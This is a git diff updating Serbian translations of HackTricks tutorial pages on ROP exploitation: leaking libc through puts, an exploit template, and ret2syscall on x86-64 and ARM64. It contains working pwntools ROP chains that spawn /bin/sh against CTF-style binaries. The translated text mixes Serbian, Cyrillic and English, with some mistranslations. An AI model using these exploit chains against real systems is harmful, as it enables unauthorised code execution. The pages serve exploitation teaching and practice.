+Zatim, postaviće se **adresa** gadgeta `POP_RDI` tako da će sledeća adresa (`FUNC_GOT`) biti sačuvana u registru **RDI**. To je zato što želimo da **pozovemo puts** **prosljeđujući** mu **adresu** `PUTS_GOT` jer je adresa u memoriji funkcije puts sačuvana u adresi na koju pokazuje `PUTS_GOT`.\
+Nakon toga, biće pozvan `PUTS_PLT` (sa `PUTS_GOT` unutar **RDI**) tako da će puts **pročitati sadržaj** unutar `PUTS_GOT` (**adresa funkcije puts u memoriji**) i **odštampati** ga.\
+Na kraju, **glavna funkcija se ponovo poziva** kako bismo mogli ponovo iskoristiti prelivanje.
-Na ovaj način smo **prevarili funkciju puts** da **ispisuje** **adresu** u **memoriji** funkcije **puts** (koja je unutar **libc** biblioteke). Sada kada imamo tu adresu, možemo **proveriti koja verzija libc-a se koristi**.
+Na ovaj način smo **prevarili funkciju puts** da **odštampa** **adresu** u **memoriji** funkcije **puts** (koja se nalazi u **libc** biblioteci). Sada kada imamo tu adresu možemo **potražiti koja verzija libc se koristi**.
![](<../../../../.gitbook/assets/image (1049).png>)
-Kako **iskorištavamo** neki **lokalni** binarni fajl, nije **potrebno** otkriti koja verzija **libc**-a se koristi (samo pronađite biblioteku u `/lib/x86_64-linux-gnu/libc.so.6`).\
-Međutim, u slučaju udaljenog napada objasniću kako to možete pronaći:
+Pošto **iskorišćavamo** neki **lokalni** binarni fajl, **nije potrebno** da otkrijemo koja verzija **libc** se koristi (samo pronađite biblioteku u `/lib/x86_64-linux-gnu/libc.so.6`).\
+Ali, u slučaju udaljenog eksploata, objasniću ovde kako možete to pronaći:
-### 3.1- Pretraga verzije libc-a (1)
+### 3.1- Pretraživanje verzije libc (1)
Možete pretražiti koja biblioteka se koristi na veb stranici: [https://libc.blukat.me/](https://libc.blukat.me)\
-Takođe će vam omogućiti da preuzmete otkrivenu verziju **libc**-a
+Takođe će vam omogućiti da preuzmete otkrivenu verziju **libc**
![](<../../../../.gitbook/assets/image (221).png>)
-### 3.2- Pretraga verzije libc-a (2)
+### 3.2- Pretraživanje verzije libc (2)
Takođe možete uraditi:
@@ -162,13 +163,13 @@ Takođe možete uraditi:
* `$ cd libc-database`
* `$ ./get`
-Ovo će potrajati neko vreme, budite strpljivi.\
-Da bi ovo radilo, potrebno nam je:
+Ovo će potrajati, budite strpljivi.\
+Za ovo da bi radilo potrebni su nam:
-* Ime simbola libc-a: `puts`
-* Procurena adresa libc-a: `0x7ff629878690`
+* Ime libc simbola: `puts`
+* Otkazana libc adresa: `0x7ff629878690`
-Možemo saznati koja se **libc** najverovatnije koristi.
+Možemo otkriti koja **libc** se najverovatnije koristi.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
@@ -183,7 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
-### 3.3- Druge funkcije za otkrivanje
+Kopirajte libc iz `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` u naš radni direktorijum.
+
+### 3.3- Druge funkcije za leak
```python
puts
printf
@@ -191,25 +194,25 @@ __libc_start_main
read
gets
```
-## 4- Pronalaženje zasnovane adrese libc-a i eksploatacija
+## 4- Pronalaženje bazne libc adrese i eksploatacija
-U ovom trenutku trebalo bi da znamo koju libc biblioteku koristimo. Budući da eksploatišemo lokalni binarni fajl, koristiću samo: `/lib/x86_64-linux-gnu/libc.so.6`
+U ovom trenutku trebali bismo znati koja se libc biblioteka koristi. Pošto eksploatišemo lokalni binarni fajl, koristiću samo: `/lib/x86_64-linux-gnu/libc.so.6`
-Dakle, na početku `template.py` promenite **libc** promenljivu u: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju biblioteke kada je znate`
+Dakle, na početku `template.py` promenite **libc** promenljivu na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je znate`
-Dajući **putanju** do **libc biblioteke**, ostatak **eksploatacije će biti automatski izračunat**.
+Davanjem **putanje** do **libc biblioteke**, ostatak **eksploata će biti automatski izračunat**.
-Unutar funkcije `get_addr` biće izračunata **bazna adresa libc-a**:
+Unutar `get_addr` funkcije, **bazna adresa libc** će biti izračunata:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
-Imajte na umu da **konačna adresa osnovne libc biblioteke mora završiti sa 00**. Ako to nije slučaj, možda ste otkrili netačnu biblioteku.
+Napomena da **konačna libc osnovna adresa mora završavati sa 00**. Ako to nije vaš slučaj, možda ste iscurili pogrešnu biblioteku.
{% endhint %}
-Zatim će adresa funkcije `system` i **adresa** stringa _"/bin/sh"_ biti **izračunati** iz **osnovne adrese** **libc** i date **libc biblioteke**.
+Zatim, adresa funkcije `system` i **adresa** do stringa _"/bin/sh"_ će biti **izračunate** iz **osnovne adrese** **libc** i date **libc biblioteci.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -218,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-Konačno, eksploatacija izvršenja /bin/sh će biti pripremljena poslata:
+Na kraju, eksploit za izvršenje /bin/sh će biti pripremljen i poslat:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -228,68 +231,69 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
-Objasnićemo ovaj konačni ROP.\
-Poslednji ROP (`rop1`) završio je ponovnim pozivom glavne funkcije, zatim možemo **ponovo iskoristiti** **preplavljivanje** (zato je ovde ponovo `OFFSET`). Zatim želimo pozvati `POP_RDI` koji pokazuje na **adresu** _"/bin/sh"_ (`BINSH`) i pozvati funkciju **system** (`SYSTEM`) jer će adresa _"/bin/sh"_ biti prosleđena kao parametar.\
-Na kraju se **poziva adresa funkcije izlaza** tako da se proces **lepo završi** i ne generiše se nikakvo upozorenje.
+Hajde da objasnimo ovaj konačni ROP.\
+Poslednji ROP (`rop1`) je ponovo pozvao glavnu funkciju, tako da možemo **ponovo iskoristiti** **overflow** (zato je `OFFSET` ovde ponovo). Zatim, želimo da pozovemo `POP_RDI` koji pokazuje na **adresu** _"/bin/sh"_ (`BINSH`) i pozovemo **system** funkciju (`SYSTEM`) jer će adresa _"/bin/sh"_ biti prosleđena kao parametar.\
+Na kraju, **adresa funkcije exit** je **pozvana** tako da proces **izlazi lepo** i ne generiše se nikakvo upozorenje.
-**Na ovaj način eksploit će izvršiti \_/bin/sh**\_\*\* shell.\*\*
+**Na ovaj način će exploit izvršiti \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Korišćenje ONE\_GADGET
-Takođe možete koristiti [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) da biste dobili shell umesto korišćenja **system** i **"/bin/sh". ONE\_GADGET** će pronaći unutar libc biblioteke neki način da se dobije shell koristeći samo jednu **ROP adresu**.\
-Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su poput `[rsp+0x30] == NULL`. Pošto kontrolišete vrednosti unutar **RSP**, samo treba poslati još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
+Takođe možete koristiti [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) da dobijete shell umesto korišćenja **system** i **"/bin/sh". ONE\_GADGET** će pronaći unutar libc biblioteke neki način da dobije shell koristeći samo jednu **ROP adresu**.\
+Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su kao `[rsp+0x30] == NULL` Pošto kontrolišete vrednosti unutar **RSP**, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
![](<../../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-## EXPLOIT FAJL
+## EXPLOIT FILE
-Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti:
+Možete pronaći šablon za iskorišćavanje ove ranjivosti ovde:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
-## Česti problemi
+## Uobičajeni problemi
### MAIN\_PLT = elf.symbols\['main'] nije pronađen
-Ako simbol "main" ne postoji. Tada možete pronaći gde se nalazi glavni kod:
+Ako simbol "main" ne postoji. Tada možete pronaći gde je glavni kod:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-i postavite adresu ručno:
+и ручно поставите адресу:
```python
MAIN_PLT = 0x401080
```
### Puts nije pronađen
-Ako binarni fajl ne koristi Puts, trebalo bi da proverite da li koristi
+Ako binarni fajl ne koristi Puts, trebali biste proveriti da li koristi
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+### `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
-Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploite: `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
Pokušajte da **oduzmete 64 bajta od adrese "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index fe3b56064..06a2ca98f 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,18 +1,19 @@
-# Otkrivanje libc - šablon
+# Leaking libc - шаблон
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
@@ -204,29 +205,29 @@ P.interactive() #Interact with your shell :)
```
{% endcode %}
-## Česti problemi
+## Uobičajeni problemi
### MAIN\_PLT = elf.symbols\['main'] nije pronađen
-Ako simbol "main" ne postoji (verovatno zato što je binarni fajl osakaćen), možete jednostavno pronaći gde se nalazi glavni kod:
+Ako simbol "main" ne postoji (verovatno zato što je binarni fajl obrisan). Tada možete jednostavno pronaći gde je glavni kod:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-i postavite adresu ručno:
+и ручно поставите адресу:
```python
MAIN_PLT = 0x401080
```
### Puts nije pronađen
-Ako binarni fajl ne koristi Puts, trebalo bi **proveriti da li se koristi**
+Ako binarni fajl ne koristi Puts, trebali biste **proveriti da li koristi**
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+### `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
-Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploite: `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
-Pokušajte **oduzeti 64 bajta od adrese "/bin/sh"**:
+Pokušajte da **oduzmete 64 bajta od adrese "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
@@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 3b0300ac2..6e1022111 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -1,37 +1,38 @@
# Ret2syscall
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-## Osnovne informacije
-
-Ovo je slično kao Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno da pozove syscall `sys_execve` sa nekim argumentima kako bi izvršio `/bin/sh`. Ova tehnika se obično izvodi na binarnim fajlovima koji su statički kompajlirani, tako da može biti puno gedžeta i instrukcija syscall-a.
-
-Da bismo pripremili poziv za **syscall** potrebna je sledeća konfiguracija:
-
-* `rax: 59 Specificira sys_execve`
-* `rdi: ptr ka "/bin/sh" specificira fajl za izvršenje`
-* `rsi: 0 specificira da nema prosleđenih argumenata`
-* `rdx: 0 specificira da nema prosleđenih promenljivih okruženja`
-
-Dakle, u osnovi je potrebno napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući na umu potrebno poravnanje za kontrolu steka). Za ovo nam je potreban gedžet da napiše `/bin/sh` na poznatom mestu.
-
-{% hint style="success" %}
-Još jedan interesantan syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
-## Gedžeti za registre
+## Basic Information
+
+Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall `sys_execve` sa nekim argumentima za izvršavanje `/bin/sh`. Ova tehnika se obično izvodi na binarnim datotekama koje su kompajlirane statički, tako da može biti mnogo gadgeta i syscall instrukcija.
+
+Da bismo pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
+
+* `rax: 59 Specifikujte sys_execve`
+* `rdi: ptr do "/bin/sh" specifikujte datoteku za izvršavanje`
+* `rsi: 0 specifikujte da nema prosleđenih argumenata`
+* `rdx: 0 specifikujte da nema prosleđenih promenljivih okruženja`
+
+Dakle, u suštini, potrebno je napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući u vidu padding potreban za kontrolu steka). Za to nam je potreban gadget da napišemo `/bin/sh` u poznatom području.
+
+{% hint style="success" %}
+Još jedan zanimljiv syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+{% endhint %}
+
+## Register gadgets
Hajde da počnemo sa pronalaženjem **kako kontrolisati te registre**:
```bash
@@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
-Sa ovim adresama je moguće **upisati sadržaj na stek i učitati ga u registre**.
+Sa ovim adresama je moguće **napisati sadržaj na steku i učitati ga u registre**.
-## Upisivanje stringa
+## Napiši string
-### Upisivačka memorija
+### Mesto za pisanje
-Prvo morate pronaći mesto za pisanje u memoriji
+Prvo treba da pronađete mesto za pisanje u memoriji
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -56,20 +57,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
-### Upisivanje stringa u memoriju
+### Write String in memory
-Zatim morate pronaći način da upišete proizvoljni sadržaj na ovu adresu
+Zatim treba da pronađete način da upišete proizvoljan sadržaj na ovu adresu
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
-### Automatizuj ROP lanac
+### Automatizujte ROP lanac
-Sledeća komanda kreira potpuni `sys_execve` ROP lanac za statički binarni fajl kada postoje uređaji za pisanje-šta-gde i instrukcije za sistemski poziv:
+Sledeća komanda kreira puni `sys_execve` ROP lanac za dati statički binarni fajl kada postoje write-what-where gadgeti i syscall instrukcije:
```bash
ROPgadget --binary vuln --ropchain
```
-#### 32 bita
+#### 32 бита
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -91,7 +92,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
-#### 64 bita
+#### 64 бита
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -107,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
-## Nedostajući uređaji
+## Nedostatak Gadžeta
-Ako vam nedostaju **uređaji**, na primer za pisanje `/bin/sh` u memoriji, možete koristiti **SROP tehniku za kontrolu svih vrednosti registara** (uključujući RIP i parametre registara) sa steka:
+Ako vam **nedostaju gadžeti**, na primer da napišete `/bin/sh` u memoriji, možete koristiti **SROP tehniku da kontrolišete sve vrednosti registara** (uključujući RIP i registre parametara) iz steka:
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
+
+## Primer Eksploatacije
```python
from pwn import *
@@ -180,11 +183,26 @@ target.sendline(payload)
target.interactive()
```
-## Ostali Primeri & Reference
+## Ostali primeri i reference
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
-* 64 bita, bez PIE-a, nx, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
+* 64 bita, bez PIE, nx, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
-* 64 bita, nx, bez PIE-a, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. Kako bi se upisala funkcija na stek koja vrši matematičke operacije.
+* 64 bita, nx, bez PIE, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo. Da bi se upisalo na stek, zloupotrebljava se funkcija koja vrši matematičke operacije.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
-* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
+* 64 bita, bez PIE, nx, BF kanar, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 491979fcb..771d8f69e 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -1,18 +1,19 @@
# Ret2syscall - ARM64
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
Pronađite uvod u arm64 u:
@@ -45,20 +46,20 @@ vulnerable_function();
return 0;
}
```
-Kompajlirajte bez PIE-a i canary-ja:
+Kompajlirajte bez pie i kanarinca:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
-## Gadgeti
+## Gadgets
-Da biste pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
+Da bi se pripremio poziv za **syscall**, potrebna je sledeća konfiguracija:
-- `x8: 221 Specificiraj sys_execve`
-- `x0: ptr to "/bin/sh" specificiraj fajl za izvršavanje`
-- `x1: 0 specificiraj da nema prosleđenih argumenata`
-- `x2: 0 specificiraj da nema prosleđenih promenljivih okruženja`
+* `x8: 221 Specify sys_execve`
+* `x0: ptr to "/bin/sh" specify file to execute`
+* `x1: 0 specify no arguments passed`
+* `x2: 0 specify no environment variables passed`
-Korišćenjem ROPgadget.py uspeo sam da lociram sledeće gadžete u libc biblioteci mašine:
+Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
{% code overflow="wrap" %}
```armasm
